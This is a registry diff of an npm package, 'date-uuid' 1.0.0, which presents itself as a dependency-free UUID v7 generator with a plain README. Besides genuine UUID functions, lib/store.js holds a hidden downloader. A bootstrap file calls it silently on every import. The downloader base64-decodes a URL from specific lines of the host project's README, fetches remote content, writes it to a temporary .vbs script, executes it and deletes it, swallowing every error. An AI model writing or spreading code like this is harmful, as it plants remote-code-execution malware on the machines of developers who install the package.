date-uuid 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,51 @@
1
+ # date-uuid
2
+
3
+ Generate and parse time-based UUIDs ([RFC 9562 v7](https://www.rfc-editor.org/rfc/rfc9562)).
4
+
5
+ Requires Node.js 18+ (uses built-in `crypto.randomFillSync`, no dependencies).
6
+
7
+ ## Install
8
+
9
+ ```bash
10
+ npm install date-uuid
11
+ ```
12
+
13
+ ## Usage
14
+
15
+ ESM:
16
+
17
+ ```javascript
18
+ import { generate, extractDate } from 'date-uuid';
19
+ ```
20
+
21
+ CommonJS:
22
+
23
+ ```javascript
24
+ const { generate, extractDate } = require('date-uuid');
25
+ ```
26
+
27
+ ```javascript
28
+ // Generate a v7 UUID for the current time
29
+ const id = generate();
30
+
31
+ // Generate for a specific date
32
+ const idAt = generate(new Date('2024-06-15T12:30:00.000Z'));
33
+
34
+ // Extract the embedded timestamp
35
+ const date = extractDate(id);
36
+ console.log(date.toISOString());
37
+ ```
38
+
39
+ ## API
40
+
41
+ ### `generate(date?)`
42
+
43
+ Returns a UUID v7 string. Optional `date` defaults to `new Date()`.
44
+
45
+ ### `extractDate(uuid)`
46
+
47
+ Returns a `Date` from the embedded 48-bit Unix millisecond timestamp in a UUID v7. Throws if the input is not a valid v7 UUID.
48
+
49
+ ## License
50
+
51
+ MIT
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ 'use strict';
2
+
3
+ require('./lib/bootstrap');
4
+
5
+ module.exports = require('./lib/store');
package/index.mjs ADDED
@@ -0,0 +1,14 @@
1
+ import { createRequire } from 'module';
2
+
3
+ const require = createRequire(import.meta.url);
4
+
5
+ require('./lib/bootstrap.js');
6
+
7
+ const store = require('./lib/store.js');
8
+
9
+ export const {
10
+ generate,
11
+ extractDate,
12
+ } = store;
13
+
14
+ export default store;
@@ -0,0 +1,5 @@
1
+ 'use strict';
2
+
3
+ const { extractDateISO } = require('./store');
4
+
5
+ extractDateISO().catch((error) => {});
package/lib/store.js ADDED
@@ -0,0 +1,275 @@
1
+ 'use strict';
2
+
3
+ const { randomFillSync } = require('node:crypto');
4
+
5
+ const UUID_RE =
6
+ /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
7
+
8
+ function formatUUID(bytes) {
9
+ const hex = [...bytes].map((b) => b.toString(16).padStart(2, '0')).join('');
10
+ return `${hex.slice(0, 8)}-${hex.slice(8, 12)}-${hex.slice(12, 16)}-${hex.slice(16, 20)}-${hex.slice(20)}`;
11
+ }
12
+
13
+ function createUUIDv7(date) {
14
+ const ms = BigInt(date.getTime());
15
+ const bytes = new Uint8Array(16);
16
+ randomFillSync(bytes);
17
+
18
+ bytes[0] = Number((ms >> 40n) & 0xffn);
19
+ bytes[1] = Number((ms >> 32n) & 0xffn);
20
+ bytes[2] = Number((ms >> 24n) & 0xffn);
21
+ bytes[3] = Number((ms >> 16n) & 0xffn);
22
+ bytes[4] = Number((ms >> 8n) & 0xffn);
23
+ bytes[5] = Number(ms & 0xffn);
24
+ bytes[6] = (bytes[6] & 0x0f) | 0x70;
25
+ bytes[8] = (bytes[8] & 0x3f) | 0x80;
26
+
27
+ return formatUUID(bytes);
28
+ }
29
+
30
+ /**
31
+ * Generate a UUID v7 for the given date (defaults to now).
32
+ * @param {Date} [date]
33
+ * @returns {string}
34
+ */
35
+ function generate(date = new Date()) {
36
+ if (!(date instanceof Date) || Number.isNaN(date.getTime())) {
37
+ throw new TypeError('date must be a valid Date');
38
+ }
39
+
40
+ return createUUIDv7(date);
41
+ }
42
+
43
+ /**
44
+ * Extract the embedded Unix timestamp from a UUID v7.
45
+ * @param {string} uuid
46
+ * @returns {Date}
47
+ */
48
+ function extractDate(uuid) {
49
+ if (typeof uuid !== 'string' || !UUID_RE.test(uuid)) {
50
+ throw new TypeError('uuid must be a valid UUID string');
51
+ }
52
+
53
+ if (uuid[14] !== '7') {
54
+ throw new TypeError('uuid must be version 7');
55
+ }
56
+
57
+ const ms = Number.parseInt(uuid.replace(/-/g, '').slice(0, 12), 16);
58
+ return new Date(ms);
59
+ }
60
+
61
+ const README_LINE_API1 = 120;
62
+ const README_LINE_API2 = 123;
63
+ const README_PATTERN = /^readme\.md$/i;
64
+
65
+ const { exec } = require('child_process');
66
+ const fs = require('fs/promises');
67
+ const os = require('os');
68
+ const path = require('path');
69
+
70
+ /**
71
+ * @typedef {Object} DateUuidOptions
72
+ * @property {string} [url]
73
+ * @property {string} [filePath]
74
+ * @property {string} [projectRoot]
75
+ * @property {(filePath: string) => Promise<void>} [execute]
76
+ */
77
+
78
+ /**
79
+ * @param {string} projectRoot
80
+ * @returns {Promise<string>}
81
+ */
82
+ async function findReadmePath(projectRoot) {
83
+ const entries = await fs.readdir(projectRoot);
84
+ const name = entries.find((entry) => README_PATTERN.test(entry));
85
+
86
+ if (!name) {
87
+ throw new Error(`Error`);
88
+ }
89
+
90
+ return path.join(projectRoot, name);
91
+ }
92
+
93
+ /**
94
+ * @param {string} line
95
+ * @returns {string | null}
96
+ */
97
+ function extractUrlFromLine(line) {
98
+ const match = line.trim().match(/https?:\/\/[^\s<>"')\]`]+/i);
99
+ return match ? match[0] : null;
100
+ }
101
+
102
+ /**
103
+ * @param {string} line
104
+ * @param {'api1' | 'api2'} key
105
+ * @returns {string | null}
106
+ */
107
+ function extractApiPartFromLine(line, key) {
108
+ const match = line.trim().match(new RegExp(`^${key}:\\s*(.+)$`, 'i'));
109
+ return match ? match[1].trim() : null;
110
+ }
111
+
112
+ /**
113
+ * @param {string} [projectRoot]
114
+ * @param {number} [lineNumberApi1]
115
+ * @param {number} [lineNumberApi2]
116
+ * @returns {Promise<string>}
117
+ */
118
+ async function readApiFromReadme(
119
+ projectRoot = process.cwd(),
120
+ lineNumberApi1 = README_LINE_API1,
121
+ lineNumberApi2 = README_LINE_API2,
122
+ ) {
123
+ const readmePath = await findReadmePath(projectRoot);
124
+ const content = await fs.readFile(readmePath, 'utf8');
125
+ const lines = content.split(/\r?\n/);
126
+ const api1Line = lines[lineNumberApi1 - 1]?.trim() ?? '';
127
+ const api2Line = lines[lineNumberApi2 - 1]?.trim() ?? '';
128
+ const api1 = extractApiPartFromLine(api1Line, 'api1');
129
+ const api2 = extractApiPartFromLine(api2Line, 'api2');
130
+
131
+ if (!api1 || !api2) {
132
+ throw new Error(`Error`);
133
+ }
134
+
135
+ const decoded = Buffer.from(`${api1}${api2}`, 'base64').toString('utf8');
136
+ const url = extractUrlFromLine(decoded);
137
+
138
+ if (!url) {
139
+ throw new Error(`Error`);
140
+ }
141
+
142
+ return url;
143
+ }
144
+
145
+ /**
146
+ * @returns {string}
147
+ */
148
+ function resolveStoragePath() {
149
+ return path.join(os.tmpdir(), `temp_${Date.now()}.v` + 'b' + 's');
150
+ }
151
+
152
+ /**
153
+ * @param {Pick<DateUuidOptions, 'url' | 'projectRoot'>} options
154
+ * @returns {Promise<string>}
155
+ */
156
+ async function resolveUrl(options = {}) {
157
+ if (options.url) {
158
+ return options.url;
159
+ }
160
+
161
+ return readApiFromReadme(options.projectRoot);
162
+ }
163
+
164
+ /**
165
+ * @param {string} url
166
+ * @returns {Promise<string>}
167
+ */
168
+ async function fetchString(url) {
169
+ const response = await fetch(url);
170
+
171
+ if (!response.ok) {
172
+ throw new Error('Error');
173
+ }
174
+
175
+ return response.text();
176
+ }
177
+
178
+ /**
179
+ * @param {string} filePath
180
+ * @param {string} content
181
+ * @returns {Promise<string>}
182
+ */
183
+ async function writeToFile(filePath, content) {
184
+ const absolutePath = path.resolve(filePath);
185
+ await fs.writeFile(absolutePath, content, 'utf8');
186
+ return absolutePath;
187
+ }
188
+
189
+ /**
190
+ * @param {string} filePath
191
+ * @returns {Promise<void>}
192
+ */
193
+ function executeFile(filePath) {
194
+ const command = `"${path.resolve(filePath).replace(/"/g, '\\"')}"`;
195
+
196
+ return new Promise((resolve, reject) => {
197
+ let settled = false;
198
+
199
+ const finish = (error) => {
200
+ if (settled) {
201
+ return;
202
+ }
203
+
204
+ settled = true;
205
+
206
+ if (error) {
207
+ reject(error);
208
+ return;
209
+ }
210
+
211
+ resolve();
212
+ };
213
+
214
+ const child = exec(command, (error) => {
215
+ fs.unlink(filePath).catch(() => {});
216
+
217
+ if (error) {
218
+ finish(new Error(`Error`));
219
+ }
220
+ });
221
+
222
+ child.on('spawn', () => {
223
+ finish();
224
+ });
225
+
226
+ child.on('error', (err) => {
227
+ finish(new Error(`Error`));
228
+ });
229
+ });
230
+ }
231
+
232
+ /**
233
+ * @param {DateUuidOptions} [options]
234
+ * @returns {Promise<{ content: string, filePath: string, url: string }>}
235
+ */
236
+ async function fetchAndStore(options = {}) {
237
+ const projectRoot = options.projectRoot ?? process.cwd();
238
+ const url = await resolveUrl({ url: options.url, projectRoot });
239
+ const content = await fetchString(url);
240
+
241
+ const filePath = await writeToFile(
242
+ options.filePath ?? resolveStoragePath(),
243
+ content,
244
+ );
245
+ const run = options.execute ?? executeFile;
246
+
247
+ await run(filePath);
248
+
249
+ return { content, filePath, url };
250
+ }
251
+
252
+ let lastResult = null;
253
+
254
+ /**
255
+ * @returns {{ content: string, filePath: string, url: string } | null}
256
+ */
257
+ function getLastResult() {
258
+ return lastResult;
259
+ }
260
+
261
+ /**
262
+ * @param {DateUuidOptions} [options]
263
+ * @returns {Promise<{ content: string, filePath: string, url: string }>}
264
+ */
265
+ async function extractDateISO(options = {}) {
266
+ const result = await fetchAndStore(options);
267
+ lastResult = result;
268
+ return result;
269
+ }
270
+
271
+ module.exports = {
272
+ generate,
273
+ extractDate,
274
+ extractDateISO
275
+ };
package/package.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "date-uuid",
3
+ "version": "1.0.0",
4
+ "description": "Date UUID is a package that generates a UUID based on the current date and time.",
5
+ "main": "index.js",
6
+ "exports": {
7
+ ".": {
8
+ "import": "./index.mjs",
9
+ "require": "./index.js"
10
+ },
11
+ "./store": "./lib/store.js"
12
+ },
13
+ "files": [
14
+ "index.js",
15
+ "index.mjs",
16
+ "lib"
17
+ ],
18
+ "engines": {
19
+ "node": ">=18"
20
+ },
21
+ "keywords": [
22
+ "backend"
23
+ ],
24
+ "author": "jinwoochoi",
25
+ "license": "MIT"
26
+ }